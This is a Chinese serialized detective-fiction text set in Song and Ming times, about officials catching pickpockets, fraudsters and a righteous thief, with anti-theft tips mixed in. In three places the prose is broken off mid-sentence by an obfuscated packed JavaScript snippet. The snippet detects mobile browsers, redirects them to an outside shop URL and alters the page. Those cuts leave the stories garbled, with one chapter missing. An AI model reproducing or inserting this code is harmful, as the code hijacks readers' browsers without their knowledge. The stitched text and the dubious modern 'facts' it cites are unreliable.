《无涯案海录》 1. 开封妙手窃官袋，子瞻巧计擒市贼 汴河两岸柳色新，宣德门外人潮涌。这日正是三月三上巳节，朱雀大街东西两厢瓦舍勾栏百戏竞陈，有吐火吞刀的江湖艺人，也有说《三分事略》的舌辩书生。熙攘人群中，一青衣文士正驻足观赏绳伎——那女子在丈二高索上翻若惊鸿，引得围观者喝彩如雷。文士抚掌赞叹时，忽觉腰间微动，探手一摸，缠丝锦袋竟已不翼而飞。 此事若在寻常，不过是市井万千失窃案中一粟。然这文士非等闲人物，乃是新任开封府刑曹参军苏子瞻。他面色不改，反露笑意，低声对随行老吏道：“好个妙手空空，竟在我身上试技。” 一、官家御盗心法 昔年包孝肃公知开封府，曾作《御盗三训》悬于签押房：“防盗如防川，堵不如疏；治盗如治水，导不如化。”此中机窍，苏子瞻深得三味。 （一）明察篇 《周易·系辞》云：“几者，动之微，吉之先见者也。”官家御盗首在察几。那日苏子瞻失窃后并不声张，只以余光扫视人群。见东南角一褐衣汉子正悄然退走，袖口隐约露出一角青锦——正是失窃锦袋之色。苏子瞻向老吏使个眼色，自己却反向而行，行至汴河石栏边，朗声道： “适才哪位朋友与苏某戏谑？这锦袋中别无长物，唯有一方‘明镜高悬’铜印。此物在君手中如烫手山芋，不如还与在下，某愿以十贯钱相谢。” 话音才落，人群中骤起骚动。只见那褐衣汉子面色煞白，猛将锦袋抛入河中，转身欲逃。早有四名作庶人打扮的铺兵合围而上，锁链一套，擒个正着。原来苏子瞻晨间出门时，早将官印存于府中，袋内实为二十枚浸过香料的特制铜钱——此乃宋初名臣张咏知益州时所创“香饵钱”，专为诱捕窃贼所用。 此法暗合《孙子兵法·势篇》：“故善动敌者，形之，敌必从之。”官家防市井窃案，当学苏子瞻“以饵诱之”的机心。今人亦可化用：公安便衣反扒，常备内置微型定位器的“诱捕钱包”；银行运钞车演习，会在□□中夹带电子信号源。看似被动失窃，实为主动张网。 （二）建制篇 唐代《捕亡令》有载：“凡市肆之地，当设望火楼兼察盗贼。”北宋承此制而更精微。苏子瞻回府后，即召东京城内一百二十坊的坊正集会，颁布新制： “自今日始，各坊实行‘三牌联保’。商户悬挂绿牌者，示本店有护卫三人以上；悬黄牌者，示有护卫一人；悬红牌者，示无护卫，邻铺须照应。凡窃贼作案之坊，坊正罚俸三月，联保商户罚铜十斤。” 此法源自《周礼·地官》“司市掌市之治教政刑，量度禁令”，又融《管子·小匡》“五家为轨，轨为之长”的保甲遗意。明代王阳明巡抚南赣时，更创“十家牌法”，每户门前悬牌列明人口职业，相互监察，盗贼遂绝。 今世社区防控，可视为此制延伸。小区楼栋长制、商铺联防微信群、街道“平安眼”视频网络，皆是古法新用。尤需效仿者，是苏子瞻“以商制盗”的巧思——他命开封府将罚没铜钱铸成“防盗赏功牌”，凡协助擒贼的商户，可凭牌减免赋税。此策一出，东京商户无不擦亮眼睛，竟成千万“编外捕快”。 （三）攻心篇 擒获的褐衣贼人押到堂前，苏子瞻不先问案，却令取来一盆清水、一块香皂。贼人愕然间，苏子瞻道：“你手上沾染的薄荷香气，三日不散。这香料产自大食国，开封城唯大相国寺前‘香如故’铺有售。本官今晨特往购置时，掌柜说三日内只售出两份——一份卖予开封府，另一份卖予何人，要不要传掌柜上堂指认？” 贼人汗如雨下。此乃运用《折狱龟鉴》“察情术”：宋代郑克明言“凡勘盗，当先察其恐惧处而攻之”。苏子瞻更进一层，借市井商业网络构筑证据链。那香皂实为寻常皂角制成，所谓“大食薄荷香”纯属虚张声势，却击中盗贼最惧处——被同业知晓身份。 现代刑事侦查中，此术演化为“心理画像”与“信息威慑”。警方通报案情时，常刻意透露“现场提取到特殊生物检材”等模糊信息，促使嫌疑人心理崩溃。商业防盗系统亦同此理：商场广播“请某特征顾客至服务台”，往往能使混迹人群的窃贼仓皇遁走。 二、百姓防窃实策 话说苏子瞻审罢贼人，却不急于结案。他换下官服，扮作游学书生，亲至州桥夜市察访。但见灯火阑珊处，有三类人最易遭窃：一是观百戏入迷的外乡客，二是酩酊醉归的纨绔子，三是怀抱婴孩的妇人。苏子瞻暗叹：“《周易》云‘慢藏诲盗’，此之谓也。” （一）市井行走戒律 苏子瞻寻一茶肆坐定，见邻桌老翁正教导孙儿：“昔年杨文公（杨亿）在东京为官，上元观灯时遇窃。公不慌不忙，吟诗曰‘灯火楼台处处新，不妨分付与闲人’——你道何意？这是告诉贼人，钱财可拿去，莫伤人情面。结果那贼第二日竟将钱袋悬于府衙照壁，附笺曰‘还君明珠双泪垂’。” 这掌故真伪难考，却暗藏百姓防盗第一要义：临盗不失从容。苏子瞻据此归纳“市井三守”： 一守“外松内紧”。仿《孙子兵法》“能而示之不能”，贵重物品不露于外。宋人用“叠袋法”：外置粗布杂用袋，内置暗袋藏钱。今人可化用为“分层置物”：外层钱包放零钱公交卡，内层暗袋藏大额现金银行卡。 二守“眼观六路”。窃贼作案，必有“望风”“遮挡”“动手”三环节。宋代《琐碎录》载识贼口诀：“目不观戏眼观人，袖不长垂袖藏风。”今人逛街时，当学苏子瞻“余光巡狩法”：目光追随表演，余光扫视身旁。若见有人持衣物、报纸无故贴近，需立即变换站位。 三守“声东击西”。苏子瞻在茶肆见一商贾应对极妙：发觉被盯上后，突然高呼“王掌柜，怎的也在此处”，假作遇故人快步向前。窃贼以为行迹败露，自然退去。此法出自《三十六计》“无中生有”，现代防身术称“主动破局”。 （二）器物防御巧技 更深时分，苏子瞻借宿大相国寺东厢。僧寮中遇一还俗老吏，二人烹茶夜话。老吏取出一枚巴掌大铜盒，机括精巧：“此物名‘惊雀函’，内设绷簧铜片。钱袋放入后若被非正常手法开启，即发清越鸣响，声传十丈。” 苏子瞻把玩良久，叹道：“此物暗合《墨子·备城门》‘悬铃梆’之法。”老吏笑曰：“不止如此。这铜盒夹层可贮香粉，一旦开启，则沾染人手，七日不褪。老夫昔年任巡检，凭此破获十三起连环窃案。” 二人遂切磋出“器物三防”： 一防“探囊”。宋时流行“连环袋”：袋口设活结，非知窍者难解。今人可在背包拉链上加装微型报警器，淘宝有售“防丢器”，分离超三米即鸣响。 二防“调包”。明代《便民图纂》载“标记法”：银锭底部錾刻暗记，兑换时需对图印。今人用钞，可养成在特定位置轻折记号的习惯。手机支付时代，则要谨防二维码被偷换——商家宜用动态二维码，顾客扫码前须核验商户名。 三防“割窃”。清代《虫鸣漫录》记盗贼用“剃刀片割袋”，遂有“夹革囊”问世：外层布帛内衬牛皮。今之防盗背包，多用割不破的“芳纶材料”，正是古法新材。 （三）急智应对心诀 五更鼓响时，老吏说起最惊险一役：某年押解税银赴京，夜宿黑店。察觉有异后，他佯装醉酒，将银箱锁链系于床腿，钥匙吞入腹中。贼人破门时，见他鼾声如雷，银箱固若金汤，只 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“早市闹哄哄，钱财莫露风。 背包胸前挎，贼人干瞪眼。 手机不离手，付款快如风。 遇贼莫慌张，大喊‘着火啦’！” ——最后一句最妙，宋人皆知“救火”乃头等大事，一呼百应，贼人最惧。 苏子瞻莞尔，想起《汉书·尹赏传》“市井谚语，可补官箴”。遂命书吏将这俗谚抄录，与《御盗三训》同悬公堂。又召来东京城里坊的“团头”（丐帮首领），嘱道：“这八句口诀，请弟兄们传唱汴河两岸。凡能背诵者，每月初一可至开封府领救济粮三升。” 不出三月，东京窃案减半。有贼人改行卖炊饼，摊前也挑那八句布幌。苏子瞻巡视时见了，买饼三张，多付十文。贼人愧谢，苏子瞻笑曰：“昔孔子为鲁司寇，三月而鬻牛马者不豫价。今子卖饼明码标价，亦是圣人之化。” 这段公案后来载入《续资治通鉴长编》，附有苏子瞻批注：“御盗如治水，堵则溃，疏则通。百姓知防盗之法，犹水知归海之途，何须高堤深坝？” 四、鉴古知今应变策 今人读此案，当悟三层机杼： 其一，防盗重在“防心”。苏子瞻悬谚语于市，是让防盗意识入百姓日常。今之社区宣传栏、公交地铁广播、短视频平台反诈短剧，皆承此道。美国犯罪学家克拉克提出“情境预防”理论，核心正是“增加犯罪难度、提高犯罪风险、减少犯罪收益”，与苏子瞻“三牌联保”异曲同工。 其二，科技须赋能古法。宋人“香饵钱”演化至今，是GPS追踪器；宋人“惊雀函”进化至今，是智能防盗包。然技术再精，不若人心警觉。德国刑警有训：“最好的警报器是主人的眼睛。”恰如苏子瞻余光识贼。 其三，治理需刚柔并济。苏子瞻严惩窃贼，却助改过者卖饼为生，暗合现代“恢复性司法”理念。挪威监狱系统以改造取代惩罚，再犯率不足两成，正是“化盗为民”的当代实践。 最末当记老吏夜谈时所言：“昔郑国子产不毁乡校，曰‘夫人朝夕退而游焉，以议执政之善否’。防盗之道，亦当容百姓议之、习之、传之。”今之“朝阳群众”“武林大妈”，实是千年保甲制的鲜活血脉。唯有官民同心，方能使“空空妙手”无从施技，方能让市井阛阓，永续清明太平。 这正是： 宣德门外柳如烟，妙手空空暗度钱。 官悬三牌联市井，民传八谚护腰缠。 香饵可钓梁上客，清歌能化袖中愆。 莫道防盗寻常事，治世机枢在瓦阛。 2. 月港诡局诈番舶，铁砚智破脱壳计 隆庆三年，漳州月港开海禁，番舶云集。这日市舶司前忽起喧嚷，一绸缎商伏地痛哭，称遭“脱剥连环局”——先有“牙人”介绍暹罗商队，预付五百两订金；复有“官差”查验货样，强收百两规费；最后“番商”携锦缎登船，扬帆而去，留下的樟木箱内唯塞破絮杂草。商人察觉有异追至码头，但见海天茫茫，帆影已化碧波深处一点墨。 此事惊动漳州府推官沈铁砚。此公乃嘉靖年间刑部郎中沈岱之后，家传《洗冤录补注》三卷，尤擅勘验商贾诈案。闻报后不查船踪，不绘影形，反命书吏取来《大明律·市舶提举司则例》，朱笔圈出“凡番货入库，必钤火漆双印”九字。 一、官府破局法钥 （一）现场重勘术 沈铁砚亲至码头，不验空箱，反观箱外痕迹。见樟木箱底沾有青褐色屑末，捻之嗅有腥气，立判：“此乃闽北‘溪涧泥’，离水半日即泛白沫。装货处在内河埠头，非外海码头。”又命仵作取箱角蛛网，置琉璃盏中观其挣扎形态，断言：“此网经剧烈震荡，结网不足三个时辰——所谓‘番船’，实为昨夜泊于内河之小船伪饰。” 此法暗合《棠阴比事》“观微知著”之道。宋代郑克曾断窃案，见门闩蛛网完好而知为内盗。今之刑侦学称“现场重建”， FBI教材载“蛛网震裂程度可推作案时间”，东西方智慧在此交汇。 （二）票据溯源法 商人呈上“暹罗国勘合文书”，纸墨皆新。沈铁砚冷笑，取市舶司存档真勘合比对，指其破绽：“真文书押缝用珊瑚朱砂，日照现金丝纹；此纸用寻常辰砂，此其一。真文书暹罗文‘贡’字末笔上挑，此纸平拖，此其二。”更取宣德炉烘烤纸背，隐现“泉州仁风坊黄记纸铺”水印——原是本地伪造。 此处化用《折狱龟鉴》“书证辨伪”之术。明代刑部《勘验成式》规定：勘合文书须三重防伪，纸用泾县特制，墨添龙脑香，印泥调珍珠粉。现代票据鉴定中的紫外荧光、纤维分析，正是古法科技化延伸。 （三）人相追踪诀 沈铁砚问商人：“那‘牙人’有何特征？”答：“左眉断为三截，说话时好捻山羊须。”再问“官差”，曰：“面有青记如展翅鸦。”三问“番商”，唯记“双耳垂珠，坠金环镂空雕摩羯鱼”。 推官即召全城画师，据述绘影。特嘱：“眉断三截者，按《人伦大统赋》为‘兄弟阋墙’之相；面挂鸦形青记，相书称‘隼翼欺主’；耳垂摩羯环，则示信奉婆罗门教——此非寻常骗徒，乃通晓番俗、精研相术之积年惯犯。” 画像张挂三日，有码头力夫来报：月前见三人于天妃宫焚纸船，其中断眉者口诵“妈祖娘娘恕罪”。沈铁砚闻之抚案：“此乃‘卸罪仪’，闽南诈徒作案后必行之法事。”遂派捕快暗伏天妃宫，第七日果擒正作法三人。 二、百姓防骗要诀 （一）市舶交易三验 沈铁砚判案毕，颁《防脱剥令》于市舶司前： 一验勘合。真勘合左上角隐绣海浪纹，以指腹摩挲有凸起；伪者平滑。此法源自宋代“盐引”防伪术，《宋会要》载“引票压印潜龙纹，盲者手抚可辨”。 二验钤印。官方火漆印遇热则现“贡”字暗记，此乃宣德年间御用监秘法。商人可携简易炭炉，当场烘验。 三验船籍。真番船桅杆必挂“鲸骨符”，此物乃海船经南海风暴后，鲸骨自然嵌桅而成，伪不可得。明代《东西洋考》详载此俗。 （二）银钱交割四察 老吏献民间谚诀： “银过手，须辨声——九成银落桌如闷雷，七成银响若碎冰。 钱入斛，当观色——官铸青钱泛鹅黄，私铸灰暗带铁腥。 票离柜，莫急行——对照骑缝半柱香，细看墨色晕未晕。 契画押，且慢欢——朱砂印泥掺金粉，日头底下星点点。” 此诀融汇多项古法：辨银声本自《天工开物》“铸银条记”，观钱色出自《泉志》“青黄辨伪法”，验骑缝效《明代税契》“阴阳合缝制”，查朱砂则用《装潢志》“印色甄别术”。 （三）急智破局三策 骗局将成时，可用：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宣和二年冬，开封城连发七桩奇案。时值腊月，汴河两岸的垂柳早已落尽枯叶，河面上却仍是千帆竞渡。自州桥至龙津桥，早市的炊饼香气与码头苦力的汗味混杂在一起，脚店门前的“散酒店”旗在寒风中猎猎作响。卖冻梨的小贩呵着白气叫卖，绸缎庄伙计正卸下门板，露出里头苏杭的宋锦、蜀中的缭绫。谁也没留意，昨夜户部侍郎私库里那匣南海珠已不翼而飞，只在高高的房梁上，多了七点朱砂绘的星子，在晨光中泛着幽幽的光。 这消息像滴进滚油的冷水，在晌午前炸遍了全城。相国寺东门大街的“唐家金银铺”里，几个老主顾围着熏笼低声议论：“听说了么？盐铁使别院那尊鎏金佛也丢了……”“作孽哟，那佛肚里怕不塞了千百两金叶子？”“嘘——你瞧斜对过‘清风楼’，那掌柜的脸比灶灰还白，上月才给盐铁使送了三百两‘茶敬’……” 正说着，巷口传来孩童拍手脆唱：“贪官污吏休猖狂，北斗照尔良心房；朱砂一点悬梁上，夜来明珠填饥肠！”卖梨小贩急忙捂了孩子的嘴，四下张望，眼里却藏着笑意。临街二楼茶馆里，说书先生把醒木一拍：“今日不说三国，单表一桩新鲜事——列位可知昨夜三更，北斗七星落在了开封城？” 开封尹李纲在府衙签押房听到童谣时，正用一把小银剪修整烛芯。这位政和二年的进士生得清瘦，眼角细纹如刀刻，此刻唇角却微微扬起。他推开窗，见院中老槐枝桠如铁划破灰白的天，忽然对侍立一旁的刑曹主事道：“取《开封府舆图》来。” 是夜烛火通明。羊皮舆图在长案上展开，李纲执朱笔，在七处地标轻轻一点：城东南汴河大街、城西金梁桥街、大内前州桥西街…笔锋游走，七点连成斗杓之形。主事瞳孔骤缩：“这贼人…”话音未落，李纲笔尖停在斗柄末端，正是蔡京赐第所在的景灵东宫南墙外。主事冷汗涔涔：“他、他莫非敢打蔡太师的主意？” “形人而我无形。”李纲搁笔，指尖轻叩图上山形纹，“你看这七星轨迹——前六案皆在坊市稠密处，唯这第七点选在太师府外墙。是示威，更是试胆。”他转身从多宝格里取出一卷星图，“去钦天监，调近三月太乙星行踪。” 一、官府收网秘策 （一）观星定踪术 三日后，钦天监博士战战兢兢呈上星图。李纲在灯下细细比对，见七桩案发夜，太乙星皆入紫微垣。主簿在旁嘀咕：“莫非真是个能掐会算的妖人？”李纲失笑，指着《周髀算经》上一行小注：“太乙者，巡狩之使也。贼特选此日，是要告诉天下——我乃代天巡狩。” 但他心思不止于此。命画师将七处现场所绘北斗一一摹来，七张宣纸铺了满案。李纲负手看了半柱香工夫，突然以指蘸茶，在案上划出一道弧线：“你们看这七星柄端，可觉有异？”众人细观，果然七组星子皆向东偏斜数分。李纲眼底精光一闪：“大相国寺后殿，有幅《炽盛光如来降九曜星官图》。” 这句话如石破天惊。当夜子时，相国寺方丈颤巍巍打开藏经阁暗门时，正见一青衫书生盘坐蒲团，就着琉璃灯描摹穹顶星图。捕快一拥而入，书生不惊不避，缓缓搁笔。从他袖中搜出的《乙巳占》残卷里，夹着张松烟墨绘的“贪狼星晦明周期表”，页边批注细如蚊足：“十一月丙子，贪狼光敛三刻，宜取珠玉；十二月庚寅，巨门色昏，当收金铁…” （二）律法攻心计 公堂之上，青衫书生白慕斗直立如松。李纲挥手屏退左右，亲自搬了张杌子：“坐。”又取来一部蓝布封皮的《唐律疏议》，翻至“贼盗”篇，指尖点在某行：“监临主守自盗，加凡盗二等。你所取诸物，本属贪官监守自盗所得。依律，该斩。” 白慕斗面色不改，反而仰天大笑：“好一个依律该斩！使君可读过《孟子》？‘诛不仁也，诛一夫矣’！那些蠹虫侵吞河工银、克扣军饷时，律法何在？他们逼得陈留县百姓易子而食时，使君的公堂又在何处？！”笑声凄厉，他猛地扯开青衫，露出雪白中衣——上面以朱砂密密麻麻记录着：某年某月某日，曹门巷寡妇张王氏，得粟二斗；某日，虹桥脚夫李疙瘩，获银三钱…整整一百四十三户，笔笔清晰如账房簿记。 李纲肃然起身，竟长揖到地：“原是位义士。然则…”他话锋一转，“刑当罪则威，不当罪则侮。你以私刑犯国禁，纵有千般道理，终是乱了法度。”他趋前两步，在白慕斗耳边低语片刻。书生听罢，怔了半晌，忽然推金山倒玉柱，恭恭敬敬磕了三个头。 这便是日后传遍开封府的“收编三约”： 一约“戴罪立功”，许以“缉盗顾问”虚衔，专查贪墨线索——这职位前朝曾有，太宗年间侠盗“我来也”便以此身分助破过军粮大案。 二约“明暗双轨”，明为编外书吏，暗享风闻言事之权，所呈密札直送尹衙。 三约“以盗制盗”，以其江湖阅历，专破市井诈局。 （三）舆情导引法 李纲深知此事牵一发动全身。次日，汴河大街最热闹的“清风楼”前，说书先生醒木一拍，改了话本：“列位可知，那‘白北斗’原是开封府布了三年的暗桩！专为查贪官污吏的底细…”与此同时，府衙照壁贴出黄榜，将七桩失窃的南海珠、金佛、玉带等物一一列明，末了朱笔批注：“上述赃物已悉数充公，转拨都水监，用作今岁黄河凌汛堤防之资。” 百姓哗然。有人指着一尊金佛“折银八千两”的数字倒吸凉气，更多人看到“拨付堤防”四字，眼眶发热。第三日，大相国寺山门前立起一座青石碑，阳面刻“遏恶扬善”四个擘窠大字，阴面以细楷详述一百四十三户受济贫民的故事，唯独隐去姓名。碑前香火三日不绝。 而真正让全城震动的，是府衙门前新悬的木榜——将《唐律》中“监临主守自盗”“坐赃论罪”等条款朱笔标出，旁边一行小字：“凡举报贪墨，查实可分没官赃银三成。”有老吏私下念叨：“这手笔，倒像《管子》里‘民得其利，则操之以刑’的道理…” 二、义盗自新要道 白慕斗换上皂隶公服那日，开封城飘起了细雪。他站在府衙廊下，看雪片落在院中那株老槐枯枝上，忽然对李纲道：“大人可信相术？”不待回答，从袖中取出一卷手稿，“此《冰鉴补遗》，乃晚生这些年观人所得。” 李纲展卷，见开篇写道：“贪墨者，五露三尖。眼露欲光，如鹰视肉；鼻露财孔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088155|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似窍招风；口露饕纹，唇角下垂；耳露赘肉，垂珠肥厚；喉露贪结，颈前凸起。此谓五露。至若颧尖似刃，主苛酷；颐尖如锥，主悭吝；指尖若钩，主窃夺，是为三尖。”他抬头深深看了白慕斗一眼：“你这相法，倒与荀卿‘相形不如论心’之说暗合。” “形由心生。”白慕斗走到院中，掬一捧雪在石盆内化开，请衙役扮作富商投银。只见那“清官”投银，银锭直坠盆底，咚然有声；轮到“贪官”角色，那银锭入水竟微微浮晃，带起细碎气泡。众人称奇，白慕斗道：“心虚则手颤，手颤则气入。此法不过化用《洗冤录》辨溺死尸的窍门——活人投银尚且如此，何况死物？” 他又传下一套“三问识心”：一问可愿捐修义塾，二问可敢公示账目，三问可能夜不闭户。“真清官，三问皆答得坦然；贪墨之徒，首问则吞吐，次问则色变，三问必暴怒。”有老刑名拊掌：“这倒合了《鬼谷子》‘张网得实，其应必出’！” 三日后，白慕斗呈上亲撰的《市井鉴诈录》，李纲连夜披阅，见其中记载：“假清官者，必悬‘明镜高悬’匾，然匾下多供金佛，此谓表里不一；伪善人者，好当街施粥，然米中掺糠，是谓欺世盗名；冒义士者，常言劫富济贫，所济皆其党羽，实为结党营私。”更附“百姓自保三诀”：财不露相，大额银钱宜换交子缝入夹袄；契必三验，验官印、指模、暗纹；急则鸣钲，随身佩小铜钲，遇诈即击，依《熙宁街巡令》，闻钲声街卒须至。 三、古今义盗鉴照 白慕斗入府第七日，江南押解贡缎的官船抵京。早有密报：这批绸缎以次充好，市舶司官员受贿三千两。李纲本欲按例查封，白慕斗献计：“请大人佯作不知，待贡箱抬入宣德门，当殿开验。”腊月廿三大朝会，二十四只朱漆贡箱抬至殿前，箱盖开启刹那，霉絮如雪纷飞，满殿朱紫骇然。受贿官员当场瘫软，徽宗震怒，挥毫题“贞石堂”匾赐开封府——取“坚贞如石”之意。 是夜大雪，白慕斗踏雪求见。他在李纲面前卸下公服幞头，一身青衫如初：“在下所为，终是越俎代庖。愿效古训‘不在其位，不谋其政’，请辞入嵩山书院，从程门先生治《春秋》。”李纲默然良久，从书架取下一部翻旧的《唐律疏议》相赠，扉页朱批：“以律为刃，不若以律为舟。渡人渡己，皆慈航也。” 白慕斗躬身接过，雪光映着他清瘦的侧脸。窗外传来更鼓声，汴梁城的灯火在雪夜中明明灭灭，如星斗撒落人间。 这正是： 宣和冬深北斗寒，朱砂点破腐儒冠。 义盗原藏青衫里，贪官尽在星图端。 碑铭敢写遏恶字，律典高悬扬善栏。 莫道江湖无正气，匣中唐律有慈丹。 诗曰： 法网恢恢不漏针，星图朱迹印人心。 若非青衫藏道义，怎得冰鉴照古今？ 且说那白慕斗辞了开封府，一袭青衫，两箱书卷，径投嵩山书院去。这一去，不意又牵出一桩离奇怪案，直教： 春秋笔断阴阳案，漕运图藏祸乱根。 暗渠夜走三十万，明堂昼悬九五尊。 欲知端的，且看下回分解。 4. 洛阳奇案盗库银，慕斗智破春秋谶 宣和三年春，嵩山古柏新芽初萌，晨雾未散的山道上骤起马蹄声。开封府缇骑踏碎石阶青苔，为首黑脸参军勒马门前，对开门小童亮出鎏金鱼符：“奉旨查案，请白先生说话。” 话音未落，东廊下转出一人。青衫素履，袖口染着未干的松烟墨，正是去岁在开封以“北斗悬檐”名动朝野的白慕斗。他接过鱼符只一瞥，便递还参军：“可是为洛阳府库那三十万贯？” 参军一怔，自怀中取出邸报展开。但见纸面朱批淋漓，写的是半月前河南府八百里加急——洛阳府库新铸“宣和通宝”三十万贯不翼而飞，七名守库吏暴毙身亡，现场唯余半卷烧残的《春秋公羊传》，焦页上印着猩红指痕。蹊跷处朱笔圈出三行：一者银分七库，各需三司使、转运使、提点刑狱三印齐备；二者案发当夜，三印皆在本府印匣，封条完好；三者七吏尸身排列竟成北斗之形。 白慕斗目光扫过“血指痕”三字，忽将邸报轻掷石案：“不是七人暴毙，是六死一遁。”参军愕然抬头，见他已负手望向山门外绵延的官道：“《春秋》庄公六年书‘齐人来归卫俘’，左氏解经谓‘称人者，众辞也；称俘者，非真俘也’。这案中‘七人’是众辞，‘暴毙’亦未必是真毙。”言罢转身入内，青衫拂过门槛时丢下一句： “备马，去洛阳。” 一、书院勘验录 （一）断简重构法 河南府库乃隋含嘉仓旧址，青砖穹顶高逾三丈。白慕斗踏入阴冷库房，陈米与铁锈气味扑鼻。地上白粉画六具人形，竟呈北斗排列——他眼皮微跳。府尹絮叨：“六人皆中砒霜而亡，怀中各藏《春秋》残页，拼合乃僖公二十八年‘城濮之战’章……” 白慕斗不语，俯身细察砖缝，忽以指甲挑出暗红絮状物，就天窗光辨之：“此乃吐蕃绰织法羊毛，中原罕见。”行至西墙铁门，见锁孔有新痕，自怀中取牛皮卷展之，内列长短铜针——乃昔年行走江湖的□□具。取最细者探入锁孔，轻勾带出银白碎屑。 “锡。”捻碎成粉，“新铸铜钱掺锡防锈，此屑乃钱箱拖动所刮。然有蹊跷…”他起身丈量铁门与最近尸身距离，“若从门外运三十万贯钱箱，必经此尸。可看此处，”指尸身腰侧地面，“砖缝积灰完好，车辙印全无。” 府尹冷汗涔涔：“莫非银尚在库中？”白慕斗不答，径至库中，以靴跟叩地。至第三列第七砖，回声空洞。目露精光：“取《水经注》。” 众不解间，他已翻至“谷水”篇：“‘隋大业初，于含嘉仓底穿暗渠，通洛水，以备漕运’。”命人撬砖，果见黑沉水道，宽可容舟。水面漂半片焦黄纸，捞起乃《公羊传》“宋公与楚人战于泓”残章。 “原来如此。”白慕斗嗅残页，“硝石、硫磺、草木灰…此乃火药余味。有人炸暗渠闸门，自水路运银。那六具尸身，”视白粉人形，“乃替死鬼——贼欲使我等以为监守自盗，事败同尽。” （二）墨迹鉴年术 返地面，白慕斗取半卷《春秋》。日光下迎光细观，忽“咦”声：“此非血指印。”焦痕中虽有指形，然纹路过清，边缘微晕。取清水棉签轻拭，水泛浅红。 “朱砂调胶，掺岭南槐蜜。然要害在…”将焦页覆新宣纸，喷水雾轻压，纸面渐显淡痕——竟是半枚“河南府勘合”骑缝章！ 满堂哗然。府尹颤声：“此印去岁腊月方启用…”白慕斗颔首：“故此书绝非库吏私藏。乃有人以新印钤旧籍，纵火伪作现场。”稍顿，“然作伪者百密一疏——此印泥以蓖麻油调朱砂，乃东京文思院特制，专供三品以上衙署。河南府所用，当为芝麻油调朱砂。” 参军猛省：“洛阳城中，何处有蓖麻油印泥？”“二处。”白慕斗竖指，“一曰转运使司，二曰…”与参军对视，同声：“西京留司。” （三）水道追踪诀 当夜子时，洛水南岸荒滩。白慕斗率四名谙熟水性衙役，顺暗渠出口下探。春寒水冷，行约二里，忽举手示警——前芦苇丛中隐露半截桅杆。 乃平底沙船，吃水深。众潜至舷侧，白慕斗以铜镜反月照之，见船帮新漆下，赫然军船“防撞铁牙”。心中雪亮，打手势。众攀舷而上，舱内空荡，唯甲板散落数枚铜钱。拾视之，正“宣和通宝”，边带铸疤。 “银已转移。”白慕斗捻钱，“然留此船，是第二破绽。”蹲身刮漆皮轻嗅，“桐油掺青黛，此乃将作监修缮宫室配方。盗银者能调军船，能用宫漆…”望黑沉北岸，西京大内应天门轮廓隐现。 参军倒吸凉气：“先生谓宫中有应？”白慕斗不答，自怀取焦页，就月光再观。忽指停“宋公与楚人战于泓”之“泓”字——此字墨色略深，笔画交叠有痕。 “吾知之矣。”目闪寒光，“此非《春秋》，乃战表。” 二、春秋大义谳 （一）微言断案诀 次日西京留司，白发守监颤巍奉茶。白慕斗不接，展焦页于案：“公可知‘泓之战’典？”老监茫然。白慕斗自述：“僖公二十二年，宋襄公与楚战于泓。宋阵未成，楚人半渡，司马请击，襄公曰‘君子不困人于厄’。终致宋师败绩。” 指尖点“泓”字交叠处：“此字后添。原文当为‘濮’——城濮之战，晋文公退避三舍，以信义胜楚。有人改‘濮’为‘泓’，是告我等：盗银者如宋襄公迂阔；查案者若晋文公，当知进退。” 参军惑然。白慕斗忽转视老监：“公公掌内库漆料，可知桐油掺青黛配方，用于何处？”老监面白：“唯…唯大内福宁殿、睿思殿，及太子东宫用过此漆。” 满室死寂。白慕斗起身揖：“谢公公开诚。”转身即出。参军急追：“先生不查了？”白慕斗廊下止步，视庭中玉兰正盛：“《春秋》昭公十二年，楚灵王筑章华台，右尹子革谏‘民之力尽矣’。今有人盗库银三十万，不为私利，反留战表——此欲以民膏筑其章华。” 参军骇然：“先生谓…东宫？”白慕斗摇首：“吾未言。然可记得《唐律疏议·诈伪》载‘伪造御宝者斩’？此案既有伪印泥，当按伪造御用物查。至若牵涉何处…”微哂，“《春秋》有‘为尊者讳’笔法，你我所当效。” （二）漕运溯源法 三日后，汴河虹桥码头。白慕斗扮茶商坐棚中，观漕船如梭。参军扮伙计低语：“查实了，那沙船乃南京应天水军旧船，三年前报损…”白慕斗抬手止，目追一艘吃水深货船。其过桥洞时，船工撑篙姿异——非前顶乃侧后推，似避触何物。 “随此船。”白慕斗搁茶钱。二人尾至东水门外，见船拐入私家码头。高墙深院，门匾鎏金“陈州粮社”。参军色变：“此陈太尉家业…” 语未竟，门出管事，正与船头交文书。白慕斗眼利，见文书抬头隐现“西京留司”字。心念电转，忽低声诵：“《春秋》桓公十五年，‘天王使家父来求车’。”参军不解，白慕斗释：“周天子遣大夫求车，是逾礼。今西京留司文书现于陈州粮社——此非逾制否？” 语间，管事觉，望来。白慕斗不避，反上前朗声：“在下嵩山书院白慕斗，特来请益——《春秋》庄公十三年，‘齐人灭遂’，杜预注‘遂，舜后’，不知贵社东家，可舜之后裔？” 管事愣，此没头语令其茫然。白慕斗续道：“若非舜后，何以‘陈’为号？若是舜后，当知《尚书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 